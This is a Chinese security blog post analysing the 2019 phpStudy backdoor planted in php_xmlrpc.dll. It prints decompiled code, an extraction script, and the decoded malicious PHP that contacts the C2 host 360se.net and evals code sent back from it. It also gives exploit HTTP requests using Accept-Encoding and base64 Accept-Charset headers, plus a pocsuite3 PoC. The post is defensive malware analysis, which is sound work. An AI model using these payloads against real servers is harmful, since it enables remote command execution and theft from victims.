原创： Qftm 合天智汇
原创投稿活动：http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
关于《phpStudyBackDoor》风波已经过去有一段时间了，由于，前段时间一直忙于其它事情QAQ，今天有时间对该事件重新回溯&深度分析。
*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径
背景分析
2019年9月20日，杭州市公安局举行新闻通报会，通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果，通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。Phpstudy集成环境包在国内的使用用户逾百万，据悉，此次后门攻击事件可追溯到2016年，屹今为止累计控制计算机逾67万台，该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为，累计非法牟利600余万元。
影响版本
phpStudy20180211版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
环境准备
测试环境以“phpStudy20161103版本php5.4.45”为例进行分析
ps:目前官方已更新旧版本程序，可自行下载https://www.xp.cn
第一个是目前官方正常配置文件，第二个是被植入后门的配置文件，从图中直观的也能看出来两个文件的大小不一样！！分别对其进行Hash校验：
MD5(php_xmlrpc.dll)：c339482fd2b233fb0a555b629c0ea5d5
MD5(php_xmlrpctrue.dll)：6ddb8f2af4b2b24671ddcd82d7c08c91
通过Hash校验发现两个文件的Hash值不一样！
实验：phpStudy后门漏洞复现
http://www.hetianlab.com/expc.do?ec=ECID1387-c383-454e-9448-6460e0f4581f
后门分析
目前各大厂商已将此后门加入威胁情报库中，此处通过virustotal和火绒查看
从上图可以看到原始的php_xmlrpc.dll存在威胁，接下来开始对“php_xmlrpc.dll”进行深入分析......
通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”，下面正式分析被植入后门的“php_xmlrpc.dll”
首先，用IDA打开“php_xmlrpc.dll”，shift+f12定位是否存在危险字符串
通过索引发现存在危险函数eval()
根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”
“sub_100031F0”程序代码
{ int v3; // edx int v4; // eax int v5; // ecx int v6; // eax int v7; // esi char *v8; // edi char *v9; // ecx int v10; // eax char *v11; // esi int v12; // eax char *v13; // edi char *v14; // ecx _Dword *v15; // esi int v16; // eax void *v17; // edx int v18; // eax void *v19; // edi _DWORD *v20; // esi int result; // eax int v22; // eax int v23; // ecx int v24; // eax int v25; // edi _DWORD *v26; // esi char v27; // [esp+Dh] [ebp-19Bh] __int16 v28; // [esp+BDh] [ebp-EBh] char v29; // [esp+BFh] [ebp-E9h] char v30; // [esp+C0h] [ebp-E8h] char v31; // [esp+100h] [ebp-A8h] char v32; // [esp+140h] [ebp-68h] char v33; // [esp+180h] [ebp-28h] const char ***v34; // [esp+184h] [ebp-24h] int v35; // [esp+188h] [ebp-20h] int v36; // [esp+18Ch] [ebp-1Ch] int **v37; // [esp+190h] [ebp-18h] int v38; // [esp+194h] [ebp-14h] _DWORD **v39; // [esp+198h] [ebp-10h] void *v40; // [esp+19Ch] [ebp-Ch] char *v41; // [esp+1A0h] [ebp-8h] char *v42; // [esp+1A4h] [ebp-4h]
memset(&v27, 0, 0xB0u); v28 = 0; v3 = *a3; v29 = 0; if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) ) zend_is_auto_global(aServer, 7, a3); zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33); if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) { if ( !strcmp(**v34, aGzipDeflate) ) { if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) { v40 = sub_100040B0(**v37, strlen((const char *)**v37)); if ( v40 ) { v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v35 = v5; v6 = setjmp3(&v30, 0); v7 = v35; if ( v6 ) *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; else zend_eval_string(v40, 0, &byte_10012884, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; } } } else { v12 = strcmp(**v34, aCompressGzip); if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v40 = v17; v18 = setjmp3(&v32, 0); v19 = v40; if ( v18 ) { v20 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; } else { v20 = a3; zend_eval_string(v42, 0, &byte_10012884, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; return result; } } } if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) { if ( strlen(byte_100127B8) == 0 ) sub_10004480(byte_100127B8); if ( strlen(Dest) == 0 ) sub_10004380(Dest); if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; } spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v23 = *(_DWORD *)(v22 + 296); *(_DWORD *)(v22 + 296) = &v31; v38 = v23; v24 = setjmp3(&v31, 0); v25 = v38; if ( v24 ) { v26 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; } else { v26 = a3; zend_eval_string(v41, 0, &byte_10012884, a3); } *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; if ( dword_1000D010 < 3600 ) dword_1000D010 += 3600; ftime(&dword_10012AA0); }
ftime(&dword_10012AB0); if ( dword_10012AA0 < 0 ) ftime(&dword_10012AA0); return 0;}
首先分析spprintf()函数代码处功能，因为其对eval()函数进行了处理
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
spprintf函数是php官方自己封装的函数，此处实际上实现的是字符串拼接功能，实际代码如下：
@eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,’v42′,27h,')); @eval(gzuncompress(',27h,’v41′,27h,'));
ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参
可以看到上述代码主要对v41、v42数据进行解压执行操控，可以初步猜想恶意代码存在于v41和v42数据中，同理按照思路流程向上去找v41、v42数据内容，
对v41的处理代码
if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; }
对v42的处理代码
if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; }
分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据，v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据，使用010edit查看发现其均位于.data数据块
由于.data为dword类型每个值占用4个字节，代码处将其转换为char类型进行存储，然后使用php内置函数gzuncompress对其解压执行
使用微步情报局公开的解密脚本进行两段数据的提取解压
# -*- coding:utf-8 -*- # !/usr/bin/env Python import os, sys, string, shutil, re import base64 import struct import pefile import ctypes import zlib # import put_family_c2 def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c + length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.Append("%04x %-*s %sn" % (c, length * 3, hex, printable)) return ''.join(lines) def descrypt(data): try: # data = base64.encodestring(data) # print(hexdump(data)) num = 0 data = zlib.decompress(data) # return result return (True, result) except Exception, e: print(e) return (False, "") def GetSectionData(pe, Section): try: ep = Section.VirtualAddress ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize] # print(hexdump(data)) return data except Exception, e: return None def GetSecsions(PE): try: for section in PE.sections: # print(hexdump(section.Name)) if (section.Name.replace('\x00', '') == '.data'): data = GetSectionData(PE, section) # print(hexdump(data)) return (True, data) return (False, "") except Exception, e: return (False, "") def get_encodedata(filename): pe = pefile.PE(filename) (ret, data) = GetSecsions(pe) if ret: flag = "gzuncompress" offset = data.find(flag) data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "") decodedata_1 = zlib.decompress(data[:0x191]) print(hexdump(data[0x191:])) decodedata_2 = zlib.decompress(data[0x191:]) with open("decode_1.txt", "w") as hwrite: hwrite.write(decodedata_1) hwrite.close with open("decode_2.txt", "w") as hwrite: hwrite.write(decodedata_2) hwrite.close def main(path): c2s = [] domains = [] file_list = os.listdir(path) for f in file_list: print f file_path = os.path.join(path, f) get_encodedata(file_path) if __name__ == "__main__": # os.getcwd() path = "php5.4.45" main(path)
运行结果生成两个数据文件分别对应v41、v42，查看数据内容是经过base64编码过的，对其解码
v41数据
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1rn";
$out .= "Host: {$h}rn";
$out .= "Accept-Encoding: compress,gziprn";
$out .= "Connection: Closernrn";
fwrite($fp, $out);
fclose($fp);
}
v41脚本：使用fsockopen模拟GET发包
v42数据
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
v42脚本：后门c2服务器(360se.net)(当前c2已经失活，因此不会对相关被控主机造成新的危害)
ps:从上面v41、v42数据的提取过程，可以发现攻击者对数据进行了压缩存储，增加了恶意代码的隐蔽性，同时c2服务器域名模仿了奇虎360公司相关产品名称，具有一定的欺诈特性。
实验：phpStudy后门漏洞复现
http://www.hetianlab.com/expc.do?ec=ECID1387-c383-454e-9448-6460e0f4581f
分析反向连接c2后门
核心代码
v12 = strcmp(**v34, aCompressGzip); // //compress,gzip if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296);
分析代码逻辑，首先想要执行
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
必须满足if( !v12 )
v12 = strcmp(**v34, aCompressGzip);if ( !v12 )
定位aCompressGzip，只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码
构造相应Payload：
GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding:compress,gzip….
ps:由于C2服务器已经失效，不在进行后续操作
分析正向连接RCE
在C2后门基础上向上接着分析
核心代码
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) { if ( !strcmp(**v34, aGzipDeflate) ) { if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) { v40 = sub_100040B0(**v37, strlen((const char *)**v37)); if ( v40 ) { v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v35 = v5; v6 = setjmp3(&v30, 0); v7 = v35; if ( v6 ) *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; else zend_eval_string(v40, 0, &byte_10012884, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; } } }
分析代码逻辑
第一个if()，判断是否存在HTTP_ACCEPT_ENCODING字段，$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的Accept-Encoding:头部信息的内容。
第二个if()，在第一个if()基础上，判断$_SERVER['HTTP_ACCEPT_ENCODING']字段值是否是gzip,deflate。
第三个if()，在前两个if()的基础上，判断是否存在HTTP_ACCEPT_CHARSET字段，$_SERVER['HTTP_ACCEPT_CHARSET']为当前请求的Accept-Charset:头部信息的内容。
最后，在前三个if()的基础上，提取HTTP_ACCEPT_CHARSET字段值，并对该值进行base64解码，然后调用zend_eval_string(v40,0, &byte_10012884, a3); 执行RCE。
构造相应Payload：
GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==….
EXP利用
后门RCE
exp构造
GET /phpinfo.php HTTP/1.1Host: 192.168.43.146User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==Connection: closeUpgrade-Insecure-Requests: 1
exp利用
Accept-Charset请求头字段值需要经过base64编码
c3lzdGVtKCJuZXQgdXNlciIpOw==
system("net user");
POC构造
后门RCE
POC验证
POC代码编写利用创宇的pocsuite3框架进行编写，此处放上自己最初写的POC，只包含漏洞验证模块，因为本人已删掉attack模块（安全第一！！！）
import base64import hashlibimport randomimport urllibfrom urllib.parse import urljoin, quotefrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_portfrom pocsuite3.api import requestsfrom pocsuite3.lib.core.data import loggerfrom pocsuite3.lib.utils import get_middle_text
class DemoPOC(POCBase): vulID = '93212' # ssvid version = '1.0' author = ['Qftm'] vulDate = '2019-09-23' createDate = '2019-09-23' updateDate = '2019-09-23' references = ['https://www.seebug.org/vuldb/ssvid-93212'] name = 'phpstudy backdoor' appPowerLink = 'http://www.finecms.net/show-1.html ' appName = 'phpstudy' appVersion = 'version = 2018|2016' vulType = 'backdoor' desc = '''Phpstudy Backdoor RCE''' samples = [] install_requires = [''] category = POC_CATEGORY.EXPLOITS.WEBAPP
def _verify(self): result = {} try: vul_url = urljoin(self.url, '/') rand_num = random.randint(0, 1000) hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest() print(vul_url) prexp = '''echo '{}' ;'''.format(hash_flag) exp = base64.b64encode(prexp.encode()).decode() headers = {'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': '{}'.format(exp) } r = requests.post(vul_url, headers=headers) if r.status_code != 404: if hash_flag in r.text: print(r.headers.get("Location")) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as ex: logger.exception(ex) return self.parse_output(result)
def _attack(self): result = {}
return self.parse_output(result)
def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output
register_poc(DemoPOC)
漏洞验证机制使用随机数产生的MD5值（hash_flag）进行校验，首先判断网页是否是404提高命中率，然后根据网页返回来的内容，比对查看是否包含相应的hash_flag，如果包含则证明存在后门RCE，否则不存在。
验证效果
漏洞预防
1、内部排查确认受影响的Phpstudy环境PC主机，进行安全扫描处理（火绒、360安全卫士等）、清除可能存在的可疑程序。
2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码，防止账号密码早已泄露，造成危害。
3、到官网进行下载更新，校验hash。
参考链接
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw https://www.freebuf.com/articles/others-articles/215406.html# https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a1
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